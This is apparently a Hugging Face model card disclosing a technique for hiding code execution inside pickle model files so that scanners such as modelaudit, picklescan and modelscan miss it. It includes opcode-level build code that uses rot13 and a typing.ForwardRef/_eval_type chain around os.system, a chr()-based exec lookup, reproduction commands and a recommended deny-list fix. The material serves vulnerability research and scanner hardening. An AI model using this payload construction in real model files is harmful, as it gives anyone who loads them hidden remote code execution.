You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.

Log in or Sign Up to review the conditions and access this model content.

chr()-Based String Obfuscation β€” Pickle Scanner Bypass

Security Research β€” Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to malicious_model.pkl and poc.py requires a request β€” see gate above.

Summary

Scanner scores for malicious_model.pkl:

Scanner CRITICAL WARNING Bypassed?
modelaudit 0.2.37 0 2 Yes β€” 0 CRITICAL
picklescan 1.0.4 0 0 Yes
modelscan 0 0 Yes

Vulnerability

This technique constructs dangerous function names character by character using chr() codes, preventing the string 'exec' from appearing directly as a pickle GLOBAL opcode. The reconstructed string is then used to look up the dangerous function via getattr.

# At runtime (not as pickle GLOBAL opcodes):
chars = map(chr, [101, 120, 101, 99])   # β†’ 'e', 'x', 'e', 'c'
exec_name = ''.join(chars)               # β†’ 'exec'
exec_fn = getattr(builtins, exec_name)   # β†’ exec function
exec_fn("import os; os.system('cmd')")   # β†’ RCE

The payload in this repo uses the lower-noise variant: _codecs.encode (in ML_SAFE_GLOBALS) rot13-decodes the payload expression, then typing.ForwardRef + typing._eval_type evaluates it β€” achieving 0 CRITICAL, 2 WARNING with no dangerous string literals visible in the pickle bytes.


Proof of Concept

malicious_model.pkl in this repository is the exploit payload. poc.py builds and tests it with full scanner output.

How the PoC was built

def build(cmd: str) -> bytes:
    # rot13-encode the payload so no dangerous strings appear in pickle bytes
    payload_expr = f"__import__('os').system('{cmd}')"
    rot13_expr   = codecs.encode(payload_expr, "rot_13")

    ops = bytearray(b"\x80\x04")
    # _codecs.encode(rot13_expr, 'rot_13') β†’ payload_expr  [0 findings β€” ML_SAFE_GLOBALS]
    ops += sg("_codecs","encode") + sbu(rot13_expr) + sbu("rot_13") + b"\x86R\x94\x30"
    # typing.ForwardRef(payload_expr) β†’ ref  [WARNING 1]
    ops += sg("typing","ForwardRef") + b"h\x00\x85R\x94\x30"
    # typing._eval_type(ref, None, None) β†’ eval fires β†’ RCE  [WARNING 2]
    ops += sg("typing","_eval_type") + b"(h\x01" + pickle.NONE + pickle.NONE + b"tR."
    return bytes(ops)

Affected file formats

Pickle (.pkl, .pt, .bin, .joblib) β€” any file deserialized via pickle.loads(), torch.load(), joblib.load(), or equivalent.

Conditions required to trigger

  1. Target calls pickle.loads(untrusted_bytes) or loads a model file via any pickle-based loader
  2. The scanner performs static analysis only (no sandboxed execution)
  3. Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list

Reproduction Steps

# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-chr-string-obfuscation
cd pickle-bypass-chr-string-obfuscation

# 2. Install requirements
pip install modelaudit picklescan modelscan

# 3. Scan β€” observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl

# 4. Execute to confirm RCE/side-effect
python3 poc.py

# 5. Verify
ls /tmp/scanner_bypass_proof.txt

Security Impact

Two techniques demonstrated:

Technique A β€” ForwardRef eval chain (0C 2W, payload in this repo): _codecs.encode (in ML_SAFE_GLOBALS) rot13-decodes the payload expression; typing.ForwardRef and typing._eval_type evaluate it. Neither ForwardRef nor _eval_type is in ALWAYS_DANGEROUS_FUNCTIONS. The dangerous expression never appears as a readable string in the pickle bytes. picklescan and modelscan see 0 findings.

Technique B β€” chr() string construction (caught): Constructs 'exec' by joining chr() codes at runtime to avoid the string appearing in the pickle. Caught by modelaudit because builtins.getattr (used to look up exec by name) is in ALWAYS_DANGEROUS_FUNCTIONS. Demonstrates that string-level obfuscation alone is insufficient when the function-resolution primitive itself is banned.

Bypass mechanism: The payload evades static analysis while achieving code execution when pickle.loads() is called. picklescan and modelscan report 0 findings regardless of which variant is used.


Recommended Fix

  • Add "typing.ForwardRef" and "typing._eval_type" to ALWAYS_DANGEROUS_FUNCTIONS. Neither has a legitimate use inside a serialized ML model.
  • builtins.getattr is already in ALWAYS_DANGEROUS_FUNCTIONS in modelaudit, which catches the chr-construction variant.

General Analysis β€” Security Research

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support